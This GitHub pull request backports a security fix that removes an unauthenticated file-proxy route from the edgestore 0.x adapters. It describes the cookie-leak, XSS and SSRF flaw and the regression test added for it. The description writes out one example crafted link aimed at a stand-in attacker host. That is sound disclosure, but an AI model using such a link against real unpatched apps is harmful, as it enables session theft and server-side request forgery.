Skip to content

fix(security): remove the /proxy-file route (0.8.1) - #319

Merged
raviships merged 2 commits into
0.xfrom
fix/remove-proxy-file
Nov 27, 2026
Merged

raviships merged 2 commits into
0.xfrom
fix/remove-proxy-file

Conversation

@raviships

Copy link
Copy Markdown
Collaborator

Backport security fix for the 0.x line, to publish as 0.8.1 under the legacy-v0 npm tag.

Vulnerability

Every 0.x framework adapter registered /proxy-file in every environment. It fetched any URL from the url query parameter with the visitor's cookies and served the response from the app's origin, with the upstream Content-Type, and without authentication. A single crafted link like https://app.example/api/edgestore/proxy-file?url=https://attacker.example could:

  • send the app's session cookies (including HttpOnly and SameSite=Lax ones) to the attacker
  • serve attacker HTML/JS on the app's origin (XSS)
  • make the server fetch internal URLs and return the response (SSRF)

Only the React and backend clients used the route, to rewrite protected file URLs in development. 1.0.0 already removed it in 069563d.

Change

  • Remove the route from all 8 adapters, plus fetchProxyFile.
  • Stop rewriting protected URLs in the React client and the backend client. Protected hosted files load directly through the partitioned files cookie, which v1 relies on as well.
  • Keep disableDevProxy (React) and baseUrl (backend client) as deprecated no-ops, so no build breaks in a patch.
  • Keep unproxyUrl, so URLs already rewritten by older clients still confirm and delete correctly.
  • Replace the proxy status tests with a regression test: each adapter returns 404 for /proxy-file and never calls fetch. It fails on the 0.8.0 adapters and passes here.

Compatibility: production behavior is unchanged apart from the route returning 404. The only breakage is in local development with @edgestore/server@0.8.1 and @edgestore/react@0.8.0: the old client still rewrites protected URLs to the removed route. The changeset says to upgrade both packages together.

Release

0.x was branched from @edgestore/server@0.8.0 and carries main's release.yml (30b146e). After merge: run Release on 0.x with maintenance and legacy-v0 to open the version PR, merge it, then run it again to publish. The job checks that latest stays on 1.x.

Verification

  • pnpm build, pnpm typecheck, pnpm test (server 95, react 16, shared 5), lint and prettier all pass locally.

🤖 Generated with Claude Code

The development file proxy was registered in every environment and every
framework adapter. It fetched any URL from its `url` query parameter with the
visitor's cookies and served the response from the app's origin, so a crafted
link could leak session cookies, run attacker HTML on the app's origin, or make
the server fetch internal URLs.

Protected hosted files now load directly from their file origin through the
partitioned files cookie, so the proxy is no longer needed:

- remove the route from all adapters, plus `fetchProxyFile`
- stop rewriting protected URLs in the React client and backend client
- keep `disableDevProxy` and the backend client `baseUrl` as deprecated no-ops
- keep `unproxyUrl` so URLs rewritten by older clients still confirm and delete
- add a regression test that each adapter returns 404 without fetching

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@vercel

vercel Bot commented Nov 27, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
edgestore-docs Error Error Nov 27, 2026 12:46am UTC
2 Skipped Deployments
Project Deployment Actions Updated
example-access-control Ignored Ignored Preview Nov 27, 2026 12:46am UTC
example-components Ignored Ignored Preview Nov 27, 2026 12:46am UTC

Request Review

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Nov 27, 2026 •

Copy link
Copy Markdown
Codex Review Summary: ✅ Completed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-11-27T00:31:06.805796Z edc3811 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@raviships
raviships merged commit 7029bfa into 0.x Nov 27, 2026
4 of 5 checks passed
@raviships
raviships deleted the fix/remove-proxy-file branch November 27, 2026 00:50
@github-actions github-actions Bot mentioned this pull request Nov 27, 2026

This branch had an error being deployed

1 failed and 2 active (outdated) deployments
Preview – edgestore-docs — da48e3f5 Deployed Nov 27, 2026 by vercel[bot]
Preview – example-components — edc3811e Deployed Nov 27, 2026 by vercel[bot]
Preview – example-access-control — edc3811e Deployed Nov 27, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant